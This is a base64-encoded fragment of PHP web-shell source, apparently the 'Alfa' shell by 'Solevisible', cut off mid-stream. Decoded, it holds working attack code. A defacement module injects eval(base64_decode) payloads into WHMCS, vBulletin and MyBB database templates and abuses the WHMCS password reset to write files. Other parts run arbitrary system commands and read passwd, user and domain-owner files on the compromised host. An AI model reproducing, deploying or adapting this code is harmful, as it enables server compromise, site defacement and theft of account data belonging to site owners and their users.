nSW5kZXhDaGFuZ2VyXCcsbnVsbCxudWxsLG51bGwsXCd3aG1jc1wnKSI+fCBXaG1jcyB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnSW5kZXhDaGFuZ2VyXCcsbnVsbCxcJ3ZiXCcsbnVsbCkiPnwgdkJ1bGxldGluIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdJbmRleENoYW5nZXJcJyxudWxsLG51bGwsXCdteWJiXCcpIj58IE15QkIgfCA8L2E+PC9oMz48L2NlbnRlcj4nOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMyddKSYmKCRfUE9TVFsnYWxmYTMnXSA9PSAnd2htY3MnKSl7DQplY2hvIF9fcHJlKCk7DQoNCmVjaG8gIjxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBXaG1jcyB8PC9kaXY+DQo8cD48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgnd2htY3MnKS4iPGZvcm0gb25TdWJtaXQ9XCJnKCdJbmRleENoYW5nZXInLG51bGwsbnVsbCxudWxsLCd3aG1jcycsdGhpcy5mbmFtZS52YWx1ZSx0aGlzLnBhdGgudmFsdWUsdGhpcy5kYnUudmFsdWUsdGhpcy5kYm4udmFsdWUsdGhpcy5kYnAudmFsdWUsdGhpcy5kYmgudmFsdWUsdGhpcy5pbmRleC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIj4NCiI7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lucHV0TmFtZScgPT4gJ2RiaCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDInID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1VSTCcsICdpbnB1dE5hbWUnID0+ICdwYXRoJywgJ2lucHV0VmFsdWUnID0+ICdodHRwOi8vc2l0ZS5jb20vd2htY3MnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQzJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdGaWxlIE5hbWUnLCAnaW5wdXROYW1lJyA9PiAnZm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDQnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNScgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ2JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ2RicCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQ0KKTsNCmNyZWF0ZV90YWJsZSgkdGFibGUpOw0KZWNobyAiPGJyPjxkaXYgY2xhc3M9J3R4dGZvbnQnPnwgWW91ciBJbmRleCB8PC9kaXY+PGJyPg0KPHRleHRhcmVhIG5hbWU9aW5kZXggcm93cz0nMTknIGNvbHM9JzEwMyc+PHRpdGxlPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvdGl0bGU+PGI+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC9iPjwvdGV4dGFyZWE+PGJyPg0KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPg0KPC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7DQppZihpc3NldCgkX1BPU1RbJ2FsZmE2J10pKXsNCiRzMGxldmlzaWJsZT0iUG93ZXJlZCBCeSBTb2xldmlzaWJsZSI7DQokZGJ1ID0gJF9QT1NUWydhbGZhNiddOw0KJHBhdGggPSAkX1BPU1RbJ2FsZmE1J107DQokZm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107DQokZGJuID0gJF9QT1NUWydhbGZhNyddOw0KJGRicCA9ICRfUE9TVFsnYWxmYTgnXTsNCiRkYmggPSAkX1BPU1RbJ2FsZmE5J107DQokaW5kZXggPSAkX1BPU1RbJ2FsZmExMCddOw0KJGluZGV4ID0gc3RyX3JlcGxhY2UoIlwnIiwiJyIsJGluZGV4KTsNCiRkZWZhY2UgPSAnJHggPSBiYXNlNjRfZGVjb2RlKCInLl9fWlc1amIyUmxjZygkaW5kZXgpLiciKTsgJHNvbGV2aXNpYmxlID0gZm9wZW4oIicuJGZuYW1lLiciLCJ3Iik7IGZ3cml0ZSgkc29sZXZpc2libGUsJHgpOyc7DQokc2F2ZURhdGEgPSBfX1pXNWpiMlJsY2coJGRlZmFjZSk7DQokRGVmID0gJ3twaHB9ZXZhbChiYXNlNjRfZGVjb2RlKCInLiRzYXZlRGF0YS4nIikpO3svcGhwfSc7DQppZighZW1wdHkoJGRiaCkmJiFlbXB0eSgkZGJ1KSYmIWVtcHR5KCRkYm4pJiYhZW1wdHkoJGluZGV4KSl7DQokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJHNvbGVTYXZlPUBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCBtZXNzYWdlIGZyb20gdGJsZW1haWx0ZW1wbGF0ZXMgd2hlcmUgbmFtZT0nUGFzc3dvcmQgUmVzZXQgVmFsaWRhdGlvbiciKTsNCiRzb2xlR2V0ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRzb2xlU2F2ZSk7DQokdGVtcFNhdmUxID0gJHNvbGVHZXRbJ21lc3NhZ2UnXTsNCiR0ZW1wU2F2ZSA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCR0ZW1wU2F2ZTEpOw0KJGluamVjdCA9ICJVUERBVEUgdGJsZW1haWx0ZW1wbGF0ZXMgU0VUIG1lc3NhZ2U9JyREZWYnIFdIRVJFIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIjsNCiRyZXN1bHQ9QG15c3FsaV9xdWVyeSgkY29ubiwkaW5qZWN0KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOw0KJGNyZWF0ZSA9ICJpbnNlcnQgaW50byB0YmxjbGllbnRzIChlbWFpbCkgdmFsdWVzKCdzb2xldmlzaWJsZUBmYmkuZ292JykiOw0KJHJlc3VsdDIgPUBteXNxbGlfcXVlcnkoJGNvbm4sJGNyZWF0ZSkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykpew0KJEFsZmFTb2xlID0gbmV3IEFsZmFDVVJMKHRydWUpOw0KJHNhdmV1cmwgPSAkQWxmYVNvbGUtPlNlbmQoJHBhdGguIi9wd3Jlc2V0LnBocCIpOw0KJGdldFRva2VuID0gcHJlZ19tYXRjaCgiL25hbWU9XCJ0b2tlblwiIHZhbHVlPVwiKC4qPylcIi9pIiwkc2F2ZXVybCwkdG9rZW4pOw0KJEFsZmFTb2xlLT5TZW5kKCRwYXRoLiIvcHdyZXNldC5waHAiLCJwb3N0IiwidG9rZW49eyR0b2tlblsxXX0mYWN0aW9uPXJlc2V0JmVtYWlsPXNvbGV2aXNpYmxlQGZiaS5nb3YiKTsNCiRiYWNrZGF0YSA9ICJVUERBVEUgdGJsZW1haWx0ZW1wbGF0ZXMgU0VUIG1lc3NhZ2U9J3skdGVtcFNhdmV9JyBXSEVSRSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyI7DQokU29sZXZpc2libGUgPSBteXNxbGlfcXVlcnkoJGNvbm4sJGJhY2tkYXRhKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOw0KX19hbGVydCgnRmlsZSBDcmVhdGVkLi4uJyk7DQplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxmb250IGNvbG9yPXJlZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nIi4kcGF0aC4iLyIuJGZuYW1lLiInPkNsaWNrIEhlcmUgITwvYT48L2ZvbnQ+PC9iPjwvY2VudGVyPjxicj48YnI+IjsNCn1lbHNlew0KZWNobyAiPGJyPjxwcmUgaWQ9XCJzdHJPdXRwdXRcIiBzdHlsZT1cIm1hcmdpbi10b3A6NXB4XCIgY2xhc3M9XCJtbDFcIj48YnI+PGNlbnRlcj48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5QbGVhc2UgZ28gdG8gVGFyZ2V0IDwvZm9udD48Zm9udCBjb2xvcj1yZWQ+XCIgIi4kcGF0aC4iL3B3cmVzZXQucGhwIFwiPC9mb250Pjxici8+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+IGFuZCByZXNldCBwYXNzd29yZCB3aXRoIGVtYWlsPC9mb250PiA9PiA8Zm9udCBjb2xvcj1yZWQ+c29sZXZpc2libGVAZmJpLmdvdjwvZm9udD48YnIvPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPmFuZCBnbyB0bzwvZm9udD4gPGZvbnQgY29sb3I9cmVkPlwiICIuJHBhdGguIi8iLiRmbmFtZS4iIFwiPC9mb250PjwvYj48L2NlbnRlcj48YnI+PGJyPiI7DQp9fX19DQppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pICYmICgkX1BPU1RbJ2FsZmExJ10gPT0gJ3ZiJykpew0KZWNobyBfX3ByZSgpOw0KDQplY2hvICI8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgdkJ1bGxldGluIHw8L2Rpdj4NCjxwPjxjZW50ZXI+Ii5nZXRDb25maWdIdG1sKCd2YicpLiI8Zm9ybSBvblN1Ym1pdD1cImcoJ0luZGV4Q2hhbmdlcicsbnVsbCwndmInLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMuaW5kZXgudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUsJz4+Jyk7IHJldHVybiBmYWxzZTtcIj4NCiI7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lucHV0TmFtZScgPT4gJ2RiaCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDInID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMycgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ0JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ2RicCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ1JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdQcmVmaXgnLCAnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lkJyA9PiAnZGJfcHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQ0KKTsNCmNyZWF0ZV90YWJsZSgkdGFibGUpOw0KZWNobyAiPGJyPjxkaXYgY2xhc3M9J3R4dGZvbnQnPnwgWW91ciBJbmRleCB8PC9kaXY+PGJyPg0KPHRleHRhcmVhIG5hbWU9J2luZGV4JyByb3dzPScxOScgY29scz0nMTAzJz48dGl0bGU+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC90aXRsZT48Yj5IYWNrZWQgQnkgU29sZSBTYWQgJiBJbnZpc2libGU8L2I+PC90ZXh0YXJlYT48YnI+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7DQppZigkX1BPU1RbJ2FsZmE4J109PSc+Picpew0KJHMwbGV2aXNpYmxlPSJQb3dlcmVkIEJ5IFNvbGV2aXNpYmxlIjsNCiRkYnUgPSAkX1BPU1RbJ2FsZmEyJ107DQokZGJuID0gJF9QT1NUWydhbGZhMyddOw0KJGRicCA9ICRfUE9TVFsnYWxmYTQnXTsNCiRkYmggPSAkX1BPU1RbJ2FsZmE1J107DQokaW5kZXggPSAkX1BPU1RbJ2FsZmE2J107DQokcHJlZml4ID0gJF9QT1NUWydhbGZhNyddOw0KJGluZGV4PXN0cl9yZXBsYWNlKCJcJyIsIiciLCRpbmRleCk7DQokc2V0X2luZGV4ID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOw0KJHNldF9pbmRleCAuPSBfX1pXNWpiMlJsY2coImVjaG8gXCIkaW5kZXhcIjsiKTsNCiRzZXRfaW5kZXggLj0gIlwnKSl9fXtcJHtleGl0KCl9fSI7DQppZighZW1wdHkoJGRiaCkmJiFlbXB0eSgkZGJ1KSYmIWVtcHR5KCRkYm4pJiYhZW1wdHkoJGluZGV4KSl7DQokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJGxvbGkxID0gIlVQREFURSAiLiRwcmVmaXguInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZT0nIi4kc2V0X2luZGV4LiIiLiRzMGxldmlzaWJsZS4iJyBXSEVSRSB0aXRsZT0nc3BhY2VyX29wZW4nIjsNCiRsb2xpMiA9ICJVUERBVEUgIi4kcHJlZml4LiJ0ZW1wbGF0ZSBTRVQgdGVtcGxhdGU9JyIuJHNldF9pbmRleC4iIi4kczBsZXZpc2libGUuIicgV0hFUkUgdGl0bGU9J0ZPUlVNSE9NRSciOw0KJGxvbGkzID0gIlVQREFURSAiLiRwcmVmaXguInN0eWxlIFNFVCBjc3M9JyIuJHNldF9pbmRleC4iIi4kczBsZXZpc2libGUuIicsIHN0eWxldmFycz0nJywgY3NzY29sb3JzPScnLCBlZGl0b3JzdHlsZXM9JyciOw0KQG15c3FsaV9xdWVyeSgkY29ubiwkbG9saTEpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7DQpAbXlzcWxpX3F1ZXJ5KCRjb25uLCRsb2xpMikgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsNCkBteXNxbGlfcXVlcnkoJGNvbm4sJGxvbGkzKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOw0KX19hbGVydCgnVkIgaW5kZXggY2hhbmdlZC4uLiEnKTsNCn0NCn0NCn0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgKCRfUE9TVFsnYWxmYTInXSA9PSAnbXliYicpKSB7DQplY2hvIF9fcHJlKCk7DQoNCmVjaG8gIjxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBNeWJiIHw8L2Rpdj4NCjxwPjxjZW50ZXI+Ii5nZXRDb25maWdIdG1sKCdteWJiJykuIjxmb3JtIG9uU3VibWl0PVwiZygnSW5kZXhDaGFuZ2VyJyxudWxsLCdudWxsJywnbXliYicsbnVsbCxudWxsLG51bGwsdGhpcy5teWJiZGJoLnZhbHVlLHRoaXMubXliYmRidS52YWx1ZSx0aGlzLm15YmJkYm4udmFsdWUsdGhpcy5teWJiZGJwLnZhbHVlLHRoaXMubXliYmluZGV4LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD1QT1NUIGFjdGlvbj0nJz4NCiI7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lucHV0TmFtZScgPT4gJ215YmJkYmgnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQyJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lucHV0TmFtZScgPT4gJ215YmJkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQzJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ215YmJkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ0JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ215YmJkYnAnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJykNCik7DQpjcmVhdGVfdGFibGUoJHRhYmxlKTsNCmVjaG8gIjxicj48ZGl2IGNsYXNzPSd0eHRmb250Jz58IFlvdXIgSW5kZXggfDwvZGl2Pjxicj4NCjx0ZXh0YXJlYSBuYW1lPW15YmJpbmRleCByb3dzPScxOScgY29scz0nMTAzJz4NCjx0aXRsZT5IYWNrZWQgQnkgU29sZSBTYWQgJiBJbnZpc2libGU8L3RpdGxlPjxiPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvYj48L3RleHRhcmVhPjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScnID48L3A+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7DQppZihpc3NldCgkX1BPU1RbJ2FsZmE2J10pKXsNCiRteWJiX2RiaCA9ICRfUE9TVFsnYWxmYTYnXTsNCiRteWJiX2RidSA9ICRfUE9TVFsnYWxmYTcnXTsNCiRteWJiX2RibiA9ICRfUE9TVFsnYWxmYTgnXTsNCiRteWJiX2RicCA9ICRfUE9TVFsnYWxmYTknXTsNCiRteWJiX2luZGV4ID0gJF9QT1NUWydhbGZhMTAnXTsNCmlmKCFlbXB0eSgkbXliYl9kYmgpJiYhZW1wdHkoJG15YmJfZGJ1KSYmIWVtcHR5KCRteWJiX2RibikmJiFlbXB0eSgkbXliYl9pbmRleCkpew0KJGNvbm49QG15c3FsaV9jb25uZWN0KCRteWJiX2RiaCwkbXliYl9kYnUsJG15YmJfZGJwLCRteWJiX2Ribikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJHByZWZpeD0ibXliYl8iOw0KJGxvbGk3ID0gIlVQREFURSAiLiRwcmVmaXguInRlbXBsYXRlcyBTRVQgdGVtcGxhdGU9JyIuJG15YmJfaW5kZXguIicgV0hFUkUgdGl0bGU9J2luZGV4JyI7DQokcmVzdWx0ID1AbXlzcWxpX3F1ZXJ5KCRjb25uLCRsb2xpNykgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsNCl9fYWxlcnQoJ015QkIgaW5kZXggY2hhbmdlZC4uLiEnKTsNCn0NCn0NCn0NCmVjaG8gIjwvZGl2PiI7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhcHJvYygpDQp7DQphbGZhaGVhZCgpOw0KZWNobyAiPERpdiBjbGFzcz1oZWFkZXI+PGJyPjxjZW50ZXI+IjsNCmlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpDQokX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOw0KaWYoJEdMT0JBTFNbJ3N5cyddPT0id2luIil7DQokcHJvY2Vzcz1hcnJheSgNCiJUYXNrIExpc3QiID0+InRhc2tsaXN0IC9WIiwNCiJTeXN0ZW0gSW5mbyIgPT4ic3lzdGVtaW5mbyIsDQoiQWN0aXZlIENvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLA0KIlJ1bm5pbmcgU2VydmljZXMiID0+ICJuZXQgc3RhcnQiLA0KIlVzZXIgQWNjb3VudHMiID0+ICJuZXQgdXNlciIsDQoiU2hvdyBDb21wdXRlcnMiID0+ICJuZXQgdmlldyIsDQoiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwNCiJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCINCik7fWVsc2V7DQokcHJvY2Vzcz1hcnJheSgNCiJQcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsDQoiU3lzbG9nIiA9PiJjYXQgL2V0Yy9zeXNsb2cuY29uZiIsDQoiUmVzb2x2IiA9PiAiY2F0IC9ldGMvcmVzb2x2LmNvbmYiLA0KIkhvc3RzIiA9PiJjYXQgL2V0Yy9ob3N0cyIsDQoiQ3B1aW5mbyI9PiJjYXQgL3Byb2MvY3B1aW5mbyIsDQoiVmVyc2lvbiI9PiJjYXQgL3Byb2MvdmVyc2lvbiIsDQoiU2JpbiI9PiJscyAtYWwgL3Vzci9zYmluIiwNCiJJbnRlcnJ1cHRzIj0+ImNhdCAvcHJvYy9pbnRlcnJ1cHRzIiwNCiJsc2F0dHIiPT4ibHNhdHRyIC12YSIsDQoiVXB0aW1lIj0+InVwdGltZSIsDQoiRnN0YWIiID0+ImNhdCAvZXRjL2ZzdGFiIg0KKTt9DQpmb3JlYWNoKCRwcm9jZXNzIGFzICRuID0+ICRsaW5rKXsNCmVjaG8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXCdwcm9jXCcsbnVsbCxcJycuJGxpbmsuJ1wnKSI+IHwgJy4kbi4nIHwgPC9hPic7DQp9DQplY2hvICI8L2NlbnRlcj48YnI+IjsNCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsNCmVjaG8gIjxwcmUgY2xhc3M9J21sMScgc3R5bGU9J21hcmdpbi10b3A6NXB4JyA+IjsNCmlmKGlzc2V0KCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0pJiYhZW1wdHkoJF9QT1NUWyJjIl0pKXskY21kID0gImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInOyI7fQ0KZWNobyBhbGZhRXgoJGNtZC4kX1BPU1RbJ2FsZmExJ10pOw0KZWNobyAnPC9wcmU+JzsNCn0NCmVjaG8gIjwvZGl2PiI7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhc2FmZSgpew0KYWxmYWhlYWQoKTsNCmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEF1dG8gQnlQYXNzZXIgfDwvZGl2PiI7DQplY2hvICc8aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NhZmVcJyxudWxsLFwncGhwLmluaVwnLG51bGwpIj58IFBIUC5JTkkgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NhZmVcJyxudWxsLG51bGwsXCdpbmlcJykiPnwgLmh0YWNjZXNzKGFwYWNoZSkgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxcJ3BsXCcpIj58IC5odGFjY2VzcyhMaXRlU3BlZWQpIHw8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxudWxsLFwncGFzc3dkXCcpIj58IFJlYWQtUGFzc3dkIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwndXNlcnNcJykiPnwgUmVhZC1Vc2VycyB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwndmFsaWFzZXNcJykiPnwgR2V0LVVzZXIgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsXCdkb21haW5zXCcpIj58IEdldC1Eb21haW5zIHwgPC9hPjwvY2VudGVyPjwvaDM+JzsNCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmE4J10pICYmIGlzc2V0KCRfUE9TVFsnYWxmYTgnXSkgPT0gJ2RvbWFpbnMnKXsNCmlmKCFfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsNCmVjaG8gX19wcmUoKTsNCiRzb2xldmlzaWJsZTkgPSBfYWxmYV9maWxlKCcvZXRjL25hbWVkLmNvbmYnKTsNCmlmKGlzX2FycmF5KCRzb2xldmlzaWJsZTkpKXsNCmZvcmVhY2goJHNvbGV2aXNpYmxlOSBhcyAkc29sZXZpc2libGUxMyl7DQppZihAZXJlZ2koJ3pvbmUnLCRzb2xldmlzaWJsZTEzKSl7DQpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJHNvbGV2aXNpYmxlMTMsJHNvbGV2aXNpYmxlMTQpOw0KaWYoc3RybGVuKHRyaW0oJHNvbGV2aXNpYmxlMTRbMV1bMF0pKSA+IDIpew0KZWNobyAkc29sZXZpc2libGUxNFsxXVswXS4nPGJyPic7DQp9fX0NCn0NCn1lbHNlew0KZWNobyBfX3ByZSgpOw0KJHVzZXJzID0gX2FsZmFfZmlsZSgiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpOw0KaWYoaXNfYXJyYXkoJHVzZXJzKSl7DQpmb3JlYWNoKCR1c2VycyBhcyAkYm96KXsNCiRkb20gPSBleHBsb2RlKCI6IiwkYm96KTsNCmVjaG8gJGRvbVswXS4iXG4iO319fX0NCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmE2J10pICYmIGlzc2V0KCRfUE9TVFsnYWxmYTYnXSkgPT0gJ3ZhbGlhc2VzJyl7DQplY2hvICcNCjxmb3JtIG9uc3VibWl0PSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwndmFsaWFzZXNcJyx0aGlzLnNpdGUudmFsdWUsbnVsbCxcJz4+XCcpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiIC8+PGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250Ij5Vcmw6IDwvZm9udD48aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9InNpdGUuY29tIiBuYW1lPSJzaXRlIiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPic7DQppZihpc3NldCgkX1BPU1RbJ2FsZmE5J10pICYmICRfUE9TVFsnYWxmYTknXSA9PSAnPj4nKXsNCmlmKCFfYWxmYV9maWxlX2V4aXN0cygiL2V0